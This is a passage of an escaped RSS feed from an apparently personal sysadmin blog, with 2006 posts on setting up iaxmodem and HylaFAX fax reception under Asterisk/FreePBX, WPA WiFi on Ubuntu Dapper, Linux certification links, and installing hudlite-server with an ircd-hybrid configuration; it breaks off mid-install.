The whole procedure was done on a debian testing/unstable with asterisk and freepbx (2.1.0) installed.&lt;/p&gt;
&lt;p&gt;install hylafax related tools:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install hylafax-client hylafax-doc hylafax-server  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;install iax related libraries (we’re installing libiax and spandsp libraries)&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libiax-dev libiax0 libiaxclient-dev libspandsp-dev libspandsp1  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;install iaxmodem&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install iaxmodem  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Installation complete, let’s move on to configuration procedures…&lt;/p&gt;
&lt;p&gt;Configure iaxmodem with the proper extension information:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;nano /etc/iaxmodem/ttyIAX0  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add the following to the file, save and exit:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;device /dev/ttyIAX0  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;owner uucp:uucp  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mode 660  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;port 4570  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;refresh 300  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;server 127.0.0.1  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;peername 201  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;secret 1234  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;cidname Fax  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;cidnumber 972554211012  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;codec alaw  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Important stuff to note is the extension information (peername: 201 and password: 1234) which means that you should add a new iax2 extension to asterisk (can be done through freepbx’s configuration panel) and ofcourse the server IP.&lt;br&gt;
Also note that for each fax extension you’re going to have you’ll need to use a different port number.&lt;/p&gt;
&lt;h2 id=&quot;hylafax-configuration&quot;&gt;Hylafax Configuration:&lt;/h2&gt;
&lt;p&gt;copy the sample config file from /var/spool/hylafax/config/iaxmodem to /var/spool/hylafax/etc/config.ttyIAX0&lt;br&gt;
and add the following to the end of the file:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&quot;RingsBeforeAnswer: 1&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;save the file and you’re done.&lt;/p&gt;
&lt;p&gt;To test if this is working or not get on a terminal and run:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/usr/bin/iaxmodem ttyIAX0  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see debug output information and in the end &lt;code&gt;registration successful&lt;/code&gt;, like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Modem started  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting device = &apos;/dev/ttyIAX0&apos;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting owner = &apos;uucp:uucp&apos;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting mode = &apos;660&apos;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting port = 4570  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting refresh = 300  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting server = &apos;127.0.0.1&apos;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting peername = &apos;201&apos;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting secret = &apos;1234&apos;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting cidname = &apos;Fax1&apos;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting cidnumber = &apos;0015554731543&apos;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Setting codec = alaw  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Opened pty, slave device: /dev/pts/4  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Created /dev/ttyIAX0 symbolic link  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Restart 0  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2006-11-23 17:42:13] Registration completed successfully.  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;then run hylafax to intercept the calls:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/usr/sbin/faxgetty /dev/ttyIAX0  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can monitor the status of the fax by looking at /var/spool/hylafax/status/ttyIAX0&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;watch cat /var/spool/hylafax/status/ttyIAX0  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will refresh every 2 seconds, you should see at first “initializing server” and in the end “running and idle”.&lt;br&gt;
Once a call is received you should see it on iaxmodem’s debug output and also on hylafax status file.&lt;/p&gt;
&lt;p&gt;In the end if everything was successful you should have the file saved in /var/spool/hylafax/recq/*.tif&lt;br&gt;
Once you’ve made sure it’s working you should add it to inittab for permanent usage:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;S0:2345:respawn:/usr/sbin/faxgetty ttyIAX0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Administration made easy for web hosting</title><link>https://lirantal.com/blog/2006-11-19/</link><guid>https://lirantal.com/blog/2006-11-19/</guid><description>Get your sysadmin skills in the groove</description><pubDate>Sun, 19 Nov 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We always try to find those tools that make our life easier as administrators. I personally dislike tools like &lt;code&gt;phpmyadmin&lt;/code&gt; but I bet there are a whole lot of people out there who just find it more comfortable to edit their databases with it and not just that. Running a web hosting company is really a whole lot of headache. Managing users could be somewhat problematic and require customization and fine-tuning of services on the system.&lt;/p&gt;
&lt;p&gt;Some tools are out there to make the job easier, the guys from the debian community decided to make our lives easier and keep a list of these tools online: &lt;a href=&quot;http://wiki.debian.org/HostingControlPanels&quot;&gt;http://wiki.debian.org/HostingControlPanels&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>WiFi Support on Ubuntu Dapper</title><link>https://lirantal.com/blog/2006-13-11/</link><guid>https://lirantal.com/blog/2006-13-11/</guid><description>Get your Wireless up and running on Ubuntu</description><pubDate>Mon, 13 Nov 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Well it comes a time in one’s life when one needs to say goodbye to his favorite RJ45 LAN cable and welcome in greetings the WiFi architecture on which to get some juicy IPv4 connectivity. So first of all I had to test open networks connections, this obviously worked like a charm. WEP is also well supported out of the box (and is referenced as &lt;code&gt;restricted&lt;/code&gt; networks in wifi-radar) then there’s this new method which is a really pain in the ass called WPA. That one requires some configs although in Dapper it’s really a breeze since wpa_supplicant comes already installed so there’s really just to copy the sample file from &lt;code&gt;/usr/share/doc/wpasupplicant/examples/wpa-*.conf&lt;/code&gt; to &lt;code&gt;/etc/wpa_supplicant.conf&lt;/code&gt;, edit it a bit to set the ESSID and TKIP key and run &lt;code&gt;wpa_supplicant&lt;/code&gt; from prompt to associate with the AP.&lt;/p&gt;
&lt;p&gt;It’s all described very carefully on this great guide: &lt;a href=&quot;https://help.ubuntu.com/community/WifiDocs/WPAHowTo&quot;&gt;https://help.ubuntu.com/community/WifiDocs/WPAHowTo&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Linux Certifications or not?</title><link>https://lirantal.com/blog/2006-10-30/</link><guid>https://lirantal.com/blog/2006-10-30/</guid><description>Certify my skills</description><pubDate>Mon, 30 Oct 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Well certifications are a big deal doesn’t matter who is the vendor, whether its cisco, checkpoint, lpi or redhat, it’s always a really frightening and exhausting issue.Why? I think this is mainly because nowdays these users are touching every angle of the subject in question whether its linux or networking and you can’t possibly remember everything you do and memorize it to perfection so that you’d score in the cert exam.&lt;/p&gt;
&lt;p&gt;Moreover, you’ll even find a whole bunch of users who have passed excellently the CCNA exam but can’t calculate subnets or RHCE certified users who can’t get some configs right by heart, this is funny and sad at the same time. I believe it happens because computers much like math is a matter of practice and in this enormous, vast and yet expanding field of technology every day there’s a new kid on the block technology-wise and it’s quite impossible to keep up with things.
Anyway, seems like my prelude was way too word-intensive.&lt;/p&gt;
&lt;p&gt;The point was that I’d give out some LPI and linux certification related links, have fun:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://lcdp.sourceforge.net/&quot;&gt;http://lcdp.sourceforge.net/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.penguintutor.com/index.php&quot;&gt;http://www.penguintutor.com/index.php&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>HUDLITE-SERVER on Debian</title><link>https://lirantal.com/blog/2006-10-10/</link><guid>https://lirantal.com/blog/2006-10-10/</guid><description>how to get Hudlite telephony Linux system working</description><pubDate>Tue, 10 Oct 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The guys at Fonality didn’t care enough to get a .deb package for us debian guys so here’s a quick&lt;br&gt;
copy and paste guide to get hudlite-server installed on debian (unstable in my case).&lt;/p&gt;
&lt;h3 id=&quot;perl-module-dependencies&quot;&gt;Perl module dependencies:&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get update  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libnet-dns-perl  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libxml-parser-perl libxml-simple-perl  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libpoe-component-client-dns-perl libpoe-filter-ircd-perl libpoe-filter-xml-perl libpoe-perl libpoe-component-client-dns-perl libacme-poe-knee-perl  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;ircd-install&quot;&gt;IRCd install:&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install ircd-hybrid  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mv /etc/ircd-hybrid/ircd.conf /etc/ircd-hybrid/ircd.conf.orig  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;nano /etc/ircd-hybrid/ircd.conf make sure it looks like this:# ircd.conf for HUD IRC server  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;logging {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;log_level = L_ERROR;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;serverinfo {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;name=&quot;HUDserver&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;description=&quot;Server IRC&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;network_name=&quot;ExampleNet&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;network_desc=&quot;Example Network&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;hub=no;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;class {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;name=&quot;users&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ping_time=90 seconds;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;number_per_ip=200;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;max_number=200;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;sendq=100000;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;class {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;name=&quot;opers&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ping_time=90 seconds;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;number_per_ip=10;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;max_number=10;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;sendq=500000;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;class {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;name=&quot;server&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ping_time=5 minutes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;connectfreq=15 minutes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;max_number=5;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;sendq=1 megabytes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;define-what-class-and-block-for-auth-users&quot;&gt;define what class and block for auth users&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;auth {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;user=&quot;*@*&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;class=&quot;users&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;password=&quot;password&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;can_flood = yes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;have_ident = no;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;true_no_oper_flood = yes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;flags = exceed_limit, \  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;can_flood, \  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;can_idle, \  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;true_no_oper_flood;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;listen {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;port=6600;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;general {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;default_floodcount = 1000000;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;anti_nick_flood = no;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;max_nick_time = 20 seconds;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;max_nick_changes = 5;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;anti_spam_exit_message_time = 0 minutes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;fname_userlog=&quot;/var/log/ircd/user.log&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;fname_operlog=&quot;/var/log/ircd/oper.log&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;fname_foperlog=&quot;/var/log/ircd/foper.log&quot;;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;warn_no_nline=yes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;pace_wait_simple = 0 second;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;pace_wait = 00 seconds;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ping_cookie = yes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;no_oper_flood = yes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;true_no_oper_flood = yes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;max_targets = 999;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;client_flood = 0;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;use_help = yes;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;throttle_time = 0;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;chown irc:irc ircd.conf  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/etc/init.d/ircd-hybrid restart  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;hudlite-server-install&quot;&gt;hudlite-server install:&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;alien hudlite-server-1.3.1-1.i386.rpm  &lt;/span&gt;&lt;/span&gt;
